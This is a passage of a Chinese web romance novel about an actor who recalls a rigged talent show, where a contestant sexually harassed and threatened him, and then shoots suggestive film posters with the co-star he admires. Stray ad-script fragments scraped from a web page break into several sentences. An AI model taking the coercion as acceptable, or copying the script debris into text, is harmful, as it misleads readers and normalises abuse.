车辆很快抵达泰阳罗酒店门口,敖乐盐跟着两人下车,舒服地伸了个懒腰。 “天不早了,你回吧。”印澄看看时间,提醒他,“一会儿不是还要直播?” “播什么播啊,歇一天!我都跟粉丝请好假了,住一宿再走!”敖乐盐大咧咧地说。 助理沈秋看了眼宋屿的脸色,笑眯眯地主动上前:“要入住?那我帮您订房间……” “不用麻烦!我跟澄子睡就行!” 16. 夜话 “说真的,这几天你不在,我一个人住还挺不习惯呢!”敖乐盐装出落寞的样子。 印澄笑笑,没搭理他。 敖乐盐是个人来疯,很容易兴奋,当初选秀也因此吃过暗亏。 那次才艺表演,他脚踝受伤却没时间慢养,每天都强撑着高强度训练,弄得伤势持续加重,登台时表现也不及预期。 又想起过去的事了。 印澄深吸一口气,努力忘却不愉快的事,跟宋屿道别后,带敖乐盐回到1832。 “诶,你说屿哥是不是有点累啊?我看他刚才脸色不太好呢?”敖乐盐挠头,后知后觉地问,“难道是我哪里得罪他了?” “怎么会。”印澄失笑。 世界再没有比宋屿更温柔的人。 敖乐盐打消疑虑,翻出印澄的睡衣换上。 “你没带衣服?那包里装的是什么?”印澄拎起敖乐盐的背包掂了掂,发现轻得像没东西。 “嘿嘿,给你带的!应援物资!快打开看看!”敖乐盐一脸神秘。 印澄忽然有种不祥的预感,脑海中想起这位当初给他的“学习资料”,警惕性瞬间拉满。 “你别给我张罗那些乱西八糟的东西……这是什么?水润保湿……嫩肤美白……蜜桃臀?!”印澄大惊失色,扔炸.弹一样把那几片臀膜丢开! “诶,你别扔啊!我特地打听来的好牌子,管用!”敖乐盐把包拿过来,倒扣着将里面的臀膜全都倒在沙发上。 印澄眼前一黑又一黑,手忙脚乱地往回装:“谢谢!不需要!您老人家自己留着用吧!” “客气啥呀?你不是跟我说过拍的时候脱得多么?咱得提前做好准备,全方位武装,屁.股也不能放过……” 两人来回折腾,撇得满屋飞膜,到处都是。 “够了!”印澄刚喊完想起房间不太隔音,忙压低嗓子,“我不敷这玩意儿,快拿回去!” “嗨,你咋这么古板呢?面膜能敷,臀膜差哪儿啊,不都是皮肤么!”敖乐盐从地上捡起几片,遗憾自己的苦心没被理解。 印澄抓抓头发,艰难地从羞耻中缓过神。 他知道敖乐盐是好意,但敷臀膜得光屁.股干趴半小时!他实在接受不了啊! 敖乐盐吭哧吭哧把包收拾好,在印澄的苦口婆心下,终于保证不再提供类似“物资”。 “明天有空没?带我去附近转转?”敖乐盐靠着沙发坐在地毯上,盘着腿问。 印澄还真有空。 围读结束,接下来要拍定妆照及宣传海报,宋屿排在明天,印澄后天,傍晚时分再双人合拍。 副导演打过招呼,可能要从凌晨5点拍到后半夜,让他做好准备。 印澄对这种斯巴达行程驾轻就熟,毕竟当群演时,候场熬大夜算是常事。 只不过,他明天计划着围观宋屿拍摄现场的,顺便再留几张独家珍藏版。 好吧,也可能是几十张。 或许是几百张。 啊,一想到即将失去这个机会,印澄就像错过一个亿。 “……逛小吃街、爬山、登塔楼,你选哪个?”印澄强忍悲伤。 他自问不是重色轻友的人。 可惜啊。 好遗憾啊! * * * 有敖乐盐在,时间总是过得很快,聊着聊着就能到深夜。 临睡前,印澄向前台多要一套被子,两人就凑合着躺下了。 好在床够大,乖乖躺着就挤不到对方。 敖乐盐觉得印澄睡姿很奇怪:"你咋直挺挺的呢?像僵尸,我害怕。” 印澄无奈:“养耳洞呢,不敢乱动。” 后天拍海报,他就要换耳环了,虽然还有点疼,但为出效果,到时候只能忍着。 他现在万分小心,巴不得它快点长好,少受些罪。 “你这牺牲也太大了,真不容易。”敖乐盐吃痛地捏捏自己的耳垂,再度躺好。 印澄在心中默数,一二三…… “哎,吃饭那会儿,你踩我干嘛?”敖乐盐翻过身,对他抱怨,“有啥不能说的?” 果然,这夜猫子,不聊到后半夜休息不了。 “过去的事,就让它过去吧。”印澄语气很淡,眉头却隐隐蹙起。 有些糟心事能忘最好,可偏偏想忘都忘不掉。 尤其不该在深夜想起,闷得慌,更难睡着。 “啧,彭献那孙子真不是人!要不是他故意针对你,你当初未必被淘汰。”敖乐盐越想越气,直接开骂,“还有那个左星台,忘恩负义!呸!” 印澄妥协地拔下充电线,拿过手机解闷。 眼睛虽忙,思绪却仍无法阻止地回到了3年前。 届时他刚通过第一轮淘汰赛,100进60,与很多秀人也就混个脸熟,甚至连名字都叫不全。 那天他去食堂吃饭,左星台跟朋友打闹,不小心撞到彭献,差点把彭献撞别人热汤里。 印澄就在旁边,下意识拉住彭献,避免他烫着。 左星台闹得太疯,没顾得上道歉,直接跟朋友走了。 彭献当时没说什么,暗中记着这遭,倒是对印澄不错,常找他闲聊。 后来要分组,导演规定首轮比赛排名前六位的人当队长,可以通过游戏的方式,选则自己喜欢的队员。 印澄最初是被姜烈要走的。 他俩都是SN的练习生,姜烈比印澄高一届,两人参赛后聊得还行,姜烈承诺会关照他。 没想到后来,B队的队长彭献不仅点了左星台,还用机会卡把印澄挖过去了。 每队共有10人,排练导师分给他们的主题任务,公演后再由观众投票跟导师打分,两者结合,得出最终票数,60进35。 印澄向来随遇而安,认为在哪儿都一样,也没多想,照旧每天跟大家一起准备舞台。 慢慢的,他发现事情不太对劲。 左星台好像被排挤了。 讨论时,左星台的发言常常被忽视,练舞动作稍不到位,就会被其他人大声呵斥。 至于他的part,内容更是少得可怜,在这种极端情况下,彭献还把他的词多挪给印澄两句。 印澄愈发不舒服,明里暗里尽量帮左星台,还劝彭献宽和些,别欺负人。 彭 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 献自然没承认,只让印澄别瞎想,但情况并未好转,除印澄外的其他8人,竟都参与了这场隐秘的霸凌。 印澄看不下去,带着绝望的左星台去找导演申述,还将情况报告给导师们。 他想要个公道,可这事儿却被压下了。 彭献冷眼相看,等印澄碰完璧,把他带到摄像头拍不到的道具储藏室,把话挑明。 印澄那时才知道,彭献家里颇有势力,是公司力捧的对象,早就跟节目组和导演打好关系,预定了出道位。 网络投票、舆论操控等等,已经被安排妥当。 至于节目剪辑,更是只会对他有利,单论个人镜头的播出时长,就能超过普通人好几倍。 《星途闪耀》的拍摄场地是全封闭状态,秀人们手机全部上交,根本无法跟外界沟通,在这个小小的世界里,节目组就是绝对的权威。 印澄深受震撼,没想到看似平等的选秀,居然还存在“皇族剧本”。 彭献不屑,跟他透露,这一套SN也在玩,姜烈就是他们推的人。 目前锁定的出道位共有5个,剩下的2个才是普通选手能争夺的资源。 SN只保一个,印澄就是炮灰。 说完,彭献便开始动手动脚起来。 他说录节目太久,憋坏了,想跟印澄“弄一下”。 印澄受惊,断然拒绝。 彭献就翻了脸了,让印澄别装,说一早就看出他是GAY。 不敢看别人换衣服,跟队友也尽量避免过多的肢体接触,洗澡更是单独去。 小心翼翼的,根本没有直男坦荡。 彭献警告印澄,就算他出去乱说,也能像今天一样被压下来,还能让他在娱乐圈彻底消失。 只要他不用强,印澄就没证据,报警也没用。 不过,若是印澄肯跟他,有他罩着,将来成团的几率将会大大增加。 印澄没同意,态度坚决,连个台阶都没留。 当天晚上,印澄去找左星台商量对策,却在操场的花坛后,看见左星台哭着朝彭献下跪道歉。 印澄过去制止,左星台竟推开他,说是自愿的。 从那之后,印澄与左星台在队里的处境完全对调,连被分的part也未能幸免。 更令人心寒的是,从前百般寻求他帮助的左星台,居然也加入这场霸凌,不再跟他说一句话。 印澄艰难支撑着,硬是没服软。 比赛前天夜里,彭献再次约印澄去道具储物室,跟他谈舞台编排。 印澄破罐子破摔,做好跟对方打一架的准备应邀,不期透过储藏室的门玻璃,看见左星台在给彭献口。 彭献知道他在外面,挑衅地对他扬了扬眉。 印澄扔掉在花坛里捡的砖头,恶心离开。 决赛那晚,姜烈C位,彭献排第2,左星台排第7,皆成了团,星光璀璨。 跟淘汰者们的人生轨迹,从此不同。 现在,他们仍以组合的身份在活动,还在开场演唱会,粉丝上千万。 不过听说合约将在明年到期,届时组合解散,成员们单飞,便是另一种局面了。 17. OWL 这些年,彭献一直绯闻不断,圈外的素人女友自不必说,连当红小花都多有牵扯。 但因他本身就立放荡不羁的人设,花心反倒算不上黑料,甚至精准吸粉。 每次被爆瓜,都有死忠粉四处洗地,扬言彭献是个浪子,从来不装纯,舞台优秀就够了。 大家就爱这种真实的样子! 内娱活人,不懂的都永别了! 印澄显然排在“永别”的行列里。 离开《星途闪耀》后,他跟彭献不再有交集,录综艺、跑横店,印澄跌得挺狠,却也能爬起来。 在此期间,敖乐盐的友谊是他的一大助力。 选秀时,印澄怕牵连敖乐盐,没告诉他实情,搬出宿舍后两人租房住,才慢慢把事说清。 尽管他没提被骚扰的那段,敖乐盐还是气得不轻,屡次想找人曝光,都被印澄给按了下来。 他见过那些翻起的水花是怎么消失的。 那种人,能远离就别去沾。 他们都撞不沉巨轮。 印澄原以为能就此避开那圈人,没想到“傅生”演火后,左星台会找过来。 他当着印澄的面痛苦忏愧,说当年懦弱糊涂,想求他个原谅。 印澄被他哭磨了两三天,终于软下心,答应跟左星台去吃饭。 他想,人无完人,孰能无错呢。 岂料到了地方,包间一推开,里面乌压压坐了一群狐朋狗友。 最中间的,就是彭献。 还是那副傲慢姿态,皮笑肉不笑地盯着他。 印澄难得动怒,推开左星台就走,半句解释都懒得听。 身后有酒瓶猛然摔碎,左星台就不敢追了。 一群神经病。 印澄揉揉太阳穴,努力把这些烂糟事赶走。 越提越在眼前晃,头疼。 敖乐盐怒骂半天,最后用“恶人迟早被天收”做收尾。 瞧他发泄的差不多了,印澄转移话题:“我记得,你那个综艺快开录了?” “可不是么!下礼拜就去,得录将近三个月。”敖乐盐苦着张脸,遗憾道,“直播恐怕得停一段了!呜呜,我的‘草莓小甜心’!” “谁?”印澄竖起耳朵。 他头一次听见这名,还一听就是女孩儿。 敖乐盐有情况了? “嘿嘿,是位一直给我打赏的妹妹,”敖乐盐有点害羞,“她不爱聊天,在线时间也短,但我每次直播她都来,还狂刷礼物,已经当我好几天榜一了。” 印澄坐起身,觉得稀奇:“你认识她吗?” 敖乐盐摇头:“她没私信找过我,号也是新号,应该不是熟人吧。哎,那位妹妹可有个性了,连粉丝群都不加,什么福利都不领,我都没法感谢她,只能直播的时候喊喊她的ID。” “那你跟她互动,她开心吗?”印澄觉得对方可能是位陪伴型的粉丝。 敖乐盐表情微妙:“说不好……好几次了,我一叫她名字她就跑,要是不念她ID,有时还能多留会儿。” 嗯?不想私联,也不喜欢偶像cue自己? 印澄也被难住了:“唔,我觉得不像女友粉,倒挺像家长的。” “什么?”敖乐盐瞪眼。 “就是那种看一眼孩子在干嘛,没事给点钱,也不爱多聊的沉默家长……”印澄没再继续。 他收到了敖乐盐悲愤的眼神控诉。 “不过说到家长,我小叔这次也在你们组,”敖乐盐说起这个,面容有些苦,“他可爱说教人了,你没事避着他点。” “谁?你家亲戚?”印澄纳闷,他不记得还有谁姓敖。 “就胥泰风啊,演你爸那个。咳,他是我爸朋友,没事儿老来我家晃。”敖乐盐撇撇嘴。 印澄差点被自己的口水呛到! 特别出演的胥泰风!三金影帝!居然是敖乐盐的小叔! 这位重量级人物戏份不多,却很重要,现年38岁,在圈内地位相当高。 即便不参加围读会,杨导也没说什么。 没想到那种大人物,居然跟敖乐盐还有这层关系! “诶,我真不是故意瞒着你的,实在是他那人……忒古板!我有点打怵。”敖乐盐表情痛苦,“他要是跟你打听我,你可悠着点说啊!” 印澄从震惊中回神,看着他乐:“怕成这样?放心,我替你兜着!” “好兄弟!一辈子!”敖乐盐感动地抹抹眼,开始鬼哭神嚎地唱《朋友》。 印澄被戳中笑点,耸着肩膀乐个不停,最后干脆躲进被子里。 他一听敖乐盐故意跑调就想笑,控制不住。 抓在手里的手机屏亮了亮,传来条私信。 OWL:【在干嘛?】 印澄边忍笑边回复:【朋友来了,在聊天】 随后,他揉揉脸,加上一句:【好久没笑这么厉害,脸都酸了】 OWL就是以前的那个陌生ID。 大概是从跟宋屿频繁约饭后,对面就改了这个名字,还把头像换成只微微歪头的Q版猫头鹰。 单脚站在小树杈上,可爱地露出好奇的目光。 印澄见过这组图,是宋屿代言的猫头鹰胸针品牌方画的。 他这个小号只追星宋屿,顺带分享生活,会关注他的也都是小羽毛,并不稀奇。 这些天来,印澄跟OWL聊得挺多,每晚也养成了互道晚安的习惯。 OWL更是这世界上,唯一知道印澄暗恋着某位前辈的人。 对方沉默了会,回复他:【你跟这位朋友在一起很开心?】 印澄从被子里钻出来透气,双手打字:【嗯!】 OWL:【比跟前辈在一起还要开心?】 鲨鱼没蛀牙:【嗯?】 鲨鱼没蛀牙:【哈哈这怎么能比呀】 他从宋屿身上感受到的幸福和悸动,怎么会跟别人一样。 OWL再度久未回话,像是在忙别的事。 印澄早已习惯,自顾自地给他留言。 鲨鱼没蛀牙:【明天要陪朋友出去玩看不到前辈的工作现场了】 鲨鱼没蛀牙:【好可惜啊】 鲨鱼没蛀牙:【好想亲手拍下前辈的照片啊】 鲨鱼没蛀牙:【看不到前辈我美好的灵魂都要枯萎了[凋谢]】 鲨鱼没蛀牙:【前辈前辈前辈[落泪][落泪]】 鲨鱼没蛀牙:【我需要前辈的新鲜帅照!呜呜呜】 印澄发出的文字很崩溃,打字的表情很淡定。 隔着屏幕平静发疯,是每位小羽毛的日常生活。 “哎,说到底,我连‘草莓小甜心’是男 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 是女都不知道。”敖乐盐撒完癔症,又开启emo模式,躺在旁边絮絮叨叨。 啰嗦,却像某种白噪音一样,让印澄有种莫名的踏实感。 他关掉灯,酝酿睡意。 “你说,她为什么连句话都不跟我说呢?”敖乐盐盯着天花板,自问自答,“害羞吧,绝对是。嘿嘿,这事儿闹的,我多平易近人啊。” 清脆的提示音传来,是“特别关心”有最新动态。 印澄瞬间睁开眼,熟稔地找到宋屿的微博。 宋屿发了张自拍。 他坐在酒店的沙发上,像是刚沐浴完。 湿发凌乱,浴袍也松垮垮的,无意间露.出性.感的锁骨和胸前大片尚且湿润的肌.肤。 他坐姿慵懒,散发着难以言喻的诱人气息,冲镜头暧昧一笑,配文两个字:晚安。 印澄猛然起身,堪称诈尸,吓得敖乐盐直喊“我靠”。 “你抽啥疯?咋的了?谁又塌房啦?让我看看!”敖乐盐喋喋追问。 印澄重新躺下,将被子盖过头顶。 “印澄!你太吓人了!我要回家!我要找我妈!!”敖乐盐哀嚎。 印澄没功夫吭声,先是定定地欣赏几秒,随即疯狂放大,精密地欣赏这张照的每一处。 眼眸、鼻梁、嘴唇、锁骨…… 他发现,有几颗水珠从发丝垂下,正悄然划落在胸前,即将没进浴袍的更深处。 脑内似有千万束烟花骤然炸开,绚烂到晕眩。 印澄捧着手机,发出声意义不明的咛,抱着被来了个熊猫翻。 “我艹!!印澄!你**中邪了啊!!” * * * 宋屿次日开工很早,印澄当时正在洗漱,听见隔壁的出门声,赶忙加速刷牙的进程。 耽搁了不到一分钟,宋屿已然搭电梯离开。 印澄沮丧地挪步回屋,用微信给他发“加油”。 他本来想当面说的。 敖乐盐趁机抢占浴室,通告要洗半小时。 印澄困顿地睁睁眼,考虑着干脆来个回笼觉。 聊天界面倏然弹出新回复,是只小鸟微笑着说“好” 的表情包。 另有条新的气泡:【你也加油】 印澄将手机扣在心脏的位置,电力瞬间满格。 不就是爬山么! 他加油! …… 敖乐盐就是条精力无极限的二哈。 爬山、登塔楼、逛小吃街哪样都没落,还买了一大堆景区特产,把背包撑得差点裂口。 印澄强撑着一口气,好歹把这位祖宗送上车,回屋就断电。 一动不动,彻底进入节能模式。 脸上还有“伪装”没卸,但愿没被人认出来吧。 明天就轮到他拍了。 还得折腾一天呢。 不过…… 印澄摸了摸口袋里的东西,偷笑着找到OWL。 鲨鱼没蛀牙:【我给前辈买了个礼物】 鲨鱼没蛀牙:【要不要送出去啊】 鲨鱼没蛀牙:【前辈会喜欢吗?】 五分钟后,对方看到了他的留言。 OWL:【什么礼物?】 印澄抱着手机,红着脸,轻笑出声。 鲨鱼没蛀牙:【秘~密~】 18. 拍海报 印澄的拍摄时间定在凌晨5点。 他提前一小时起床洗漱,太早没胃口,也不敢饿着,就简单吃了块面包垫肚。 抵达化妆室后,化妆师先给印澄做基础护肤,让皮肤保持水润状态,铺完贴合肤色的底妆后,就开始上眼妆。 米契尔是用金钱和欲望灌养出的小少爷,皮肤有种娇贵的白,眼部则要突显出睥睨一切的神采。 化妆师用香槟金色打底,增加眼部的明亮度和立体感,再用深棕色眼影晕染眼窝,稍稍加重眼,打造深邃感的同时增加层次。 最后,选择带有珠光的金色眼影薄涂抹在眼皮中央,反射光线,让双眼更明亮有神。 黑眼线笔沿睫毛根部,画出细长眼线,尾处略挑,更添了些不羁的气质。 “我本来想给你贴假睫毛的,但你睫毛的长度和弧度都很不错,现在只要稍微强调下就可以了。”化妆师拧开睫毛刷,对印澄的脸发出赞叹,“这张脸,真适合上妆啊!” 印澄被化妆师用尾指勾着下颌扬头,尽量一动不动,克制眨眼的频率。 好上妆,的确是印澄经常收到的评价。 无论在哪个剧组,化妆师都会说他五官清秀,底子好,尽管没有浓郁的个人色彩,却可以很轻松打造成不同风格。 不会像有些浓颜的男明星,很帅,但化妆后变化不大,甚至会出现几部剧角色连连看的情况。 “就像是张上好的宣纸,怎么化都好看,怎么化都行。”曾有位化妆师这样说过。 印澄不太懂这些。 从前上学时,他倒是经常被夸帅,还收过几封情书,进圈后就泯然于众了。 娱乐圈帅哥遍地走,除非容貌能像宋屿或KK那样超群绝伦,否则很难让网友提起兴趣。 他一直认为单靠脸,自己是吸不到什么粉丝的。 眼妆结束,又要调唇色、修容,做发型,折腾近一个半小时才结束。 成功在即,化妆师小心翼翼取下他的耳钉,换成剧组定制的耳环。 白金材质,外表是简单的圆环形,雕有细微的藤蔓纹理,精致小巧,随着印澄的每个动作而轻晃,吸引目光。 印澄深吸一口气,忍住痛。 果然,耳洞内部尚未愈合,方才的拉扯和穿戴牵动嫩.肉,好像被刀割在伤口处似的,疼得揪心。 “没事吧?”化妆师担心地问,她发现印澄的耳垂以一种极快的速度红了。 “……没事!”印澄扬起笑脸,若无其事地去换服装。 印澄的拍摄任务很紧,先换56套衣服拍定妆照,再从其中选出3套拍单人的宣传海报。 换了脱,脱了换,再搭配各种发型和妆容,印澄忙得脚不沾地,直拍到晚上9点。 灯光师、摄影师、服装师、助理…… 所有工作人员都像工蜂一样围着他,让他换姿势、换表情,给他递水喂饼干,还很有经验地喂印澄糖吃。 怕他疲劳过度,低血糖晕厥。 整个拍摄过程,如同一台高速运行的机器在狂转,包括印澄在内的每个人,都是紧密契合的齿轮,没法停下。 等宋屿前来汇合时,印澄只剩半条命在,连反应都变得迟钝了。 “辛苦了印老师!咱们休息10分钟再继续!”摄影师挥挥手,示意助理们更换道具。 “还撑得住吗?”宋屿抚着印澄的背脊,帮他轻轻按了按。 印澄调节着呼吸,在宋屿颇有技巧的按摩下重新挺起腰,露出个疲惫的笑:“还成。” “我昨天拍了87套,也是后半夜才收工。”宋屿捏捏他的脸,温言安慰。 “多少?!”印澄睁大眼,瞳孔地震。 87套! 宋屿居然还活着! 身体素质好强! 吴鸿阳跑过来搀印澄去坐休息椅,宋屿做了个手势,让助理把他的也搬到旁边。 印澄目光呆滞地盯着道具组布置小餐桌,脑袋空空。 “我去跟他们说,让你多休息会儿。”宋屿发现印澄不对,想去找摄影师。 “不用!”印澄拉住他的手:“我一累就这样,断电休息,节省体力。” “断电?”宋屿被这个说法逗笑,瞥了眼两人相牵的手,任他继续拉着,“好吧。” 印澄无意识地晃了晃胳膊,低头盯着地面,继续放空。 “你们昨天……玩得怎么样?”宋屿坐到他身旁,印澄也跟着调整姿势,手却依然没放开。 仿佛有磁力存在。 “还行吧,他逛得起劲儿,还买了不少东西。”印澄慢吞吞地回忆着,忽然松开宋屿的手,“对了!差点忘件事!” 宋屿微怔,随即想起什么,目光暗含期待。 “杨导刚才来过,说明天的开机仪式推迟到上午11点了!”印澄庆幸自己还记得。 “嗯,他在群里也通知过,争取让我们多休息。”宋屿早已知晓。 印澄再次放松下来,靠着椅背闭目养神。 他忙昏头了,压根没空看手机。 想想也是,这么重要的事,肯定会有人通知宋屿的。 宋屿望着印澄,确认他不想再说话后,颇感意外。 累成这样,大概是……忘了吧…… “好!两位老师,请就位!”摄影师拍拍手,宣告休息结束。 印澄腾地站起身,目光坚定地走向拍摄区。 宋屿被他原地复活的模样弄愣,其余人则见怪不怪了。 还真是种有效的休息方法。 双人海报的第一版,要求两人隔着小餐桌相对而坐,印澄拿刀,宋屿持枪,互相抵住对方的咽喉。 宋屿是复仇者,表情严肃,隐约带着怒意,而印澄则是种玩世不恭的轻佻模样。 “好,注意表情!”摄影师不断调整拍照角度,闪光灯以极快的频率咔咔作响,给定格中的两人不断泼光。 “米契尔表情再嚣张一点!”摄影师发出指示。 印澄勾唇,将刀尖又往上顶了几分,迫使宋屿以一种被胁迫的姿势,扬起下颌。 宋屿的眉皱得更紧,不屈和试图反抗感愈发明显。 “好的!完美!perfect!坚持住!”摄影师语气亢奋,激动地狂轰乱炸。 直到眼快被晃瞎,这组照终于宣告完毕。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 印澄忙移开刀尖,探身查看宋屿的状况:“没事吧?我是不是太用力了?” 那把刀正是杨导亲自绘图后定做出来的,虽未开刃,刀尖也有锐度。 宋屿的喉间,出现了块小小的红印,并未受伤。 “啊!”印澄忙用手去揉,满眼心疼,“抱歉抱歉,我刚才太过分了!” “没事,那样的效果很好。”宋屿宽容地安慰他,喉结的震动因紧密的贴合传到印澄掌心。 酥酥麻麻的。 印澄猛地收回手,意识到现在的举动才更失礼:“抱歉,我……” “两位老师这边请,换下服装!”几名服装师从候场区跑来,将印澄和宋屿分别带走。 再相聚时,印澄穿白衬衫、黑西装裤,宋屿则是浴袍的打扮。 助理们迅速地搬走餐桌,抬来大浴缸,并开始在里面撒玫瑰花瓣。 “宋老师,麻烦您做二十个俯卧撑,提高一下肌肉状态。”摄影师对宋屿双手合十拜托着。 “好。”宋屿应下,很有效率地运动起来。 遇到展示肌肉的环节,临时加练是常态。 尽管宋屿身体近乎完美,摄影师还是想追求下更好的效果。 印澄彻底恢复精神,紧紧注视着宋屿运动的身姿。 他站得很近,尽管后背有浴袍遮掩看不见什么,却能听到喘.息。 是宋屿剧.烈运动时发出的喘。 “诶,你耳垂好红啊!都一天了,怎么还在充血?”帮印澄补妆的化妆师发出惊呼,“回去一定要记得擦药啊!” 印澄默默背过身,佯装看摄影棚的棚顶。 为什么他总是在男神面前丢人啊。 WHY!! “擦药?”灼热的气息不期然靠近,宋屿走到他身后,低头观察印澄耳垂的状况。 “没事,也快好了。”印澄僵着脖颈,佯装镇定。 这一刻,他无比感谢脸上有粉底。 摄影师大步流星走过来,确认宋屿的胸肌:“好,可以了!来两位老师,请!” “咳,走吧。”印澄窘迫地率先走开。 这组海报展示的是剧中的戏份,却又有些不同。 剧是r18,海报宣传时则是面向大众的,不能太露骨。 宋屿仰躺进浴缸,两臂慵懒地搭在浴缸边缘,一双笔直的长腿交叠着,脚部赤.裸。 “印老师,麻烦您趴上去,诶,对,骑跨在宋老师腰间,腿再打开点,两手先勾住宋老师脖子,咱试拍看看效果。”摄影师在旁认真帮印澄调整姿势,随后退开。 留下他们两人。 “米契尔,身子别太硬,软,诶,软点,他是您的猎物,马上要吃到嘴了,他想跑也跑不了,您是游刃有余的。” “诶,对对,表情非常好!来,米契尔把手搭在贝克胸上,摸他的胸肌!您随便摸,我抓拍!” “太棒了!贝克视线看米契尔手,再看他的眼睛!诶!好好!完美!您虽然是被迫的,但已经有感觉了!欲望!隐藏的欲望!蓬勃而出!您也想要他!马上就要失控了!!” “amazing!!!” 19. 礼物 印澄发誓自己没有趁机占便宜的想法。 但当他听到摄影师的要求时,一切都变得不一样了。 或许是刚运动过的关系,宋屿体温很高,他手从宋屿的脖颈一路下滑,只觉指尖也被烙得发烫。 宋屿胸肌健硕,很有弹性,可以清晰地感受到其蕴含的力量。 印澄最初很拘谨,在摄影师的不断鼓舞下,逐渐变得肆无忌惮。 肌肉轮廓被他完整描绘,结实的硬和厚度带给他前所未有的触感,让他想要探知更多。 甚至是浴袍内的隐秘。 宋屿的反应很棒,随着他的每一次触碰,缓慢而深沉地呼吸着,原本随意搭在浴缸边缘的手,也因用力而鼓起青.筋。 他表情隐忍,目光复杂,抗拒着,却又逐渐染上不可说的欲.望。 宋屿表现得像头困顿的猛兽,被毫无攻击的印澄压制,强行按下的怒火,在不断的撩拨中变成让人冲动的燥。 面对这样的宋屿,印澄忽然生出巨大的愉悦。 原来令强者臣服,是这种感觉。 贝克不敢违背米契尔,宋屿亦是如此。 在摄影师宣告结束之前,无论他做什么,都会得到原谅。 而宋屿,只能承受。 印澄起了逗.弄的心思。 他的手向旁摸去,即便到达浴袍边缘,亦未停下。 那里藏着的禁.果,不知是什么颜色。 他想要确认形状、触感,想知道当他的手抚过那里时,宋屿的身体又会是何种温度。 宋屿会露出什么表情。 终止拍摄,大发雷霆。 还是佯装不知,把自己锁在贝克体.内,继续承受。 宋屿察觉到他的意图,呼吸急促,连心跳都乱了节奏。 那异常的震.动毫无保留地传递过来,让跨坐在他身上印澄愈发兴奋。 若没有这一整日的超负荷的拍摄,印澄那里绝对会起来。 宋屿全身紧绷,一瞬不瞬地盯着他。 “OK!完美!两位老师,可以休息了!”摄影师扬声高喊。 印澄停住动作,深吸呼着收回手,没再看宋屿,拉住吴鸿阳递过来的胳膊,离开浴缸。 “还剩最后一组,拍完就能收工啦!”化妆师引着印澄去换装,语气激动。 印澄很想搓搓脸,或揉揉头发,奈何造型在身,哪里都不能乱动。 有种难以形容的憋闷感,让他想要发泄。 拍摄要结束了啊。 他盼了一天的时刻即将到来,怎么会觉得怅然若失呢。 好累,但还想继续。 他想跟宋屿一直拍下去,一直一直,直累到连根手指都抬不起。 …… 印澄的最后一身装束很狼狈,复古条纹衫和背带裤像在泥里滚过,到处是破损和脏污,妆容萎靡,脸侧还有干涸的血痕。 这套战损妆设计得很大胆,化妆师甚至给他面部铺了层死人才有的灰蓝,预示米契尔的悲惨结局。 宋屿比印澄稍晚些出来,也是一身的狼狈,但面色却留有生气,仿佛饱经沧桑后迎来了曙光和重生。 一生一死,背靠而坐,便是这组海报的概念。 印澄尽量剔除掉尴尬情绪,拿着饮料主动走向宋屿:“给,喝点这个吧,补充体能的。” 宋屿接过那瓶饮料,略打量了番,发现是自己从未喝过的。 “是……你买的?”宋屿拧开瓶,仔细品尝,目光黏在他身上。 “不,是沈秋让我拿来的,他去卫生间了。”印澄指指那位眯眯眼助理离去的方向。 宋屿失去表情,蹙着眉将饮料放到旁边。 印澄疑惑,暗自嘀咕这东西究竟有多难喝。 挑灯夜战的疲惫感逐渐翻涌,印澄站得累,干脆把手插进口袋里,好舒服些。 这一插不要紧,他蓦然掏出条项链来。 “啊!”他盯着镶有蓝宝石的项链,猛地一拍脑门,仿佛才想起来什么。 宋屿的目光也落到他掌心处,眸底的期待再次被点燃。 “赵姐!找到了!在这儿!”印澄转身,捧着项链朝化妆师跑去。 先前拍定妆照太忙,这条项链拍完就离奇消失,赵姐找半天也没找到,原来是让他顺手揣起来了。 罪过罪过! 印澄内疚地归还道具,被赵姐惩罚捏了捏脸,等再回来时,他发现宋屿周身都被股低沉的气息笼罩。 真厉害,这么快就进入角色了! “好,最后一组!两位老师,请!”摄影师嚼了颗爆酸的糖,努力调动情绪。 印澄按照指示与宋屿背靠背坐在地上,四周散落着半燃烧的□□、碎裂的高脚杯等残缺物品。 他低头,表情麻木,似处于弥留之际,而宋屿则仰望天空,如同在看黑云散尽的苍穹。 两人看似互为支撑,实则已阴阳永隔。 感受着彼此,却再无法碰面,只能残留在对方的记忆中。 当疯狂拍摄的摄影师终于宣布收工时,摄影棚内爆发出了欢庆的掌声。 下班下班! 这场鏖战,总算结束了! 印澄走出角色的速度有点慢,等他回过神,宋屿早已在一群人的簇拥下回到化妆间。 好快啊。 他还想打声招呼的。 印澄看了眼时间,凌晨1点,宋屿想快点回家也正常。 明天还要忙呢。 卸妆所花费的功夫,比印澄想象得还要长,皮肤甚至还有一点点刺痛。 等拍完润肤水,他这才如释重负。 “澄澄啊,我下午的时候跟杨导商量过,你的耳环就不摘了,一直戴到拍戏结束吧。”杨姐稀里哗啦地收拾着化妆盒,头也不抬地说。 “真的?”印澄惊喜。 “你耳洞还没养好,频繁摘换不利于伤口愈合,还有可能感染,就戴着吧。”杨姐扭头,笑着叮嘱,“仔细点,别弄丢了啊!” “不会!”印澄捏着右耳耳环,向她保证。 离开摄影棚时,停在外面的迈巴赫立即闪了闪车灯。 是宋屿。 印澄诧异,与吴鸿阳和秦鸣挥手道别,熟稔地上了车。 他原本以为宋屿太累,肯定要着急回去的,没想到居然会等他。 早知如此,他该快点出来的。 落座后,闭目养神的宋屿朝他礼貌地笑笑,将车内温度提高,吩咐司机回酒店。 一路上,并未再同他聊天。 印澄还是第一次见到毫无谈 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 话兴致的宋屿,心里思量着,或许不是疲惫的缘故。 最后那组海报太过沉重,宋屿拍得投入,大抵是还没出戏吧。 宋屿不开口,他也就安静了下来。 这种安静持续到进酒店大堂、入电梯,直至他站到1832房门前才结束。 眼看宋屿即将刷卡回屋,印澄鼓足勇气,叫住他:“屿哥!” 宋屿刷卡的动作未停,只侧头看他。 门锁应声而开。 